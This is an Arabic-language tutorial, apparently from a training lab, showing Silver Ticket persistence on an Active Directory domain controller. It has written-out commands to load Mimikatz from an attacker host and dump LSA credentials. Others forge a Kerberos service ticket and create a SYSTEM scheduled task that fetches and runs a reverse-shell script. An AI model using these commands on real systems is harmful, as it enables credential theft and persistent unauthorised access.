Persistence - Silver Ticket
السلام عليكم ورحمة الله وبركاته
الحمد لله على جميع نِعمه علينا ما علمنا منها وما لم نعلم حمداً والصلاة والسلام على نبينا محمد اشرف الخلق والمرسلين, اما بعد:
مقدمة:
في المقالة هذي راح اشرح التكنيك الرابع لتثبيت الاختراق على ال Domain Controller
ايش هو تكنيك Silver ticket؟
فكرة هذا التكنيك انه يمكننا من التحكم في خدمة معينه شغالة على جهاز معين سواء كان Domain Controller او غيره
ايش هي الخدمات اللي دائما تكون في جميع الاجهزة مثلا خدمة ؟
1- CIFS
2-HOST
تنويه : يوجد خدمات اخرى كثير بس هذي اللي تهمنا حاليا
ايش هي خدمة ال HOST وفي ايش راح تفيدنا في تثبيت الاختراق؟
هذي الخدمة تمكنا من انشاء جدولة لي اوامر معينه على نفس الجهاز اللي مستغلين عليه الخدمة
مثلا انه نسوي جدولة ل امر يرجع لنا Reverse Shell او اتصال عكسي بحيث في اي وقت حبيت ادخل الى هذا الجهاز مره اخرى اسوي جدولة الى امر يرجعلي Reverse Shell
ايش هي خدمة ال CIFS وفي ايش راح تفيدنا في تثبيت الاختراق؟
هذي الخدمة تمكننا من تصفح ملفات الجهاز اللي مستغلين عليه الخدمة
ايش متطلبات هذا التكنيك؟
1- NTLM هاش الخاص بالجهاز اللي راح نستخرجة عن طريق اداة Mimikatz
2- SID of Domain
3- hostname of computer
4- User to impersonate
الشرح:
راح ننفذ التكنيك على جهاز Domain Controller
طبعا عشان نطبق التكنيك لازم نشغل جلسة PowerShell بمستخدم ضمن قروب Domain Admins
اول شي راح ندخل لجهاز Domain Controller عن طريق هذا الامر:
Enter-PSSession -ComputerName dcorp-dc
بعد كذا راح نسوي تشغيل الى http server على نفس المسار اللي موجودة فيه Mimikatz
الان راح اسوي Load ل اداة Mimikatz عن طريق هذا الامر:
iex (iwr http://172.16.100.7/Invoke-Mimikatz.ps1 -UseBasicParsing)
بعد ننفذ هذا الامر عشان يسحب لنا جميع الباسوردات اللي موجودة في ال Lsass proccess
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
الان طلعت الهاش الخاص بالجهاز
الان راح نستخرج المتطلب الثاني اللي Domain SID عن طريق اداة PowerView عن طريق هذا الامر:
Get-DomainSID
الان راح اشغل جلسة Powershell و ننفذ امر بحيث يستغل لنا خدمة ال HOST على جهاز الDomain Controller عن طريق اداة Mimikatz
kerberos::golden /user:Administrator /rc4:e882c92024e683640c00ae83d43b5c88 /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /domain:dollarcorp.moneycorp.local /service:HOST /ptt
الان راح ننفذ هذا الامر بحيث نشوف هل صار عندنا صلاحية نطلع على ال Scheduling Tasks او لا
schtasks /S dcorp-dc.dollarcorp.moneycorp.local
الان يمكننا ننشأ scheduling task بحيث نجيب Reverse Shell على جهاز الـ Domain Controller في اي وقت اخر
لكن خلونا نجرب نسوي Reverse shell عن طريق scheduling task
راح استخدم سكربت Invoke-PowerShellTcp.ps1 وراح ننشأ scheduling task راح يسوي Load في الميموري الخاص بجهاز Domain Controller
اول شي راح اشغل الى http server على نفس المسار اللي موجودة فيه Invoke-PowerShellTcp.ps1
هذا الامر اللي راح ننشأ عن طريقه schedule task :
schtasks /create /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "jehad1" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.7/Invoke-PowerShellTcp.ps1''')'"
قبل لا نسوي تشغيل لي الـ schedule task راح اتنصت على البورت اللي راح يجيني عليه الـ Reverse shell عن طريق اداة PowerCat
بعد كذا راح اسوي تشغيل لي الـ schedule task عن طريق هذا الامر:
schtasks /Run /S dcorp-dc.dollarcorp.moneycorp.local /TN "jehad1"
الان خلونا نشوف هل وصل لنا Reverse Shell او لا
وبكذا وصلنا الى نهاية المقالة
شاكر لكم.
التعليقات (0)
لايوجد لديك حساب في عالم البرمجة؟
تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !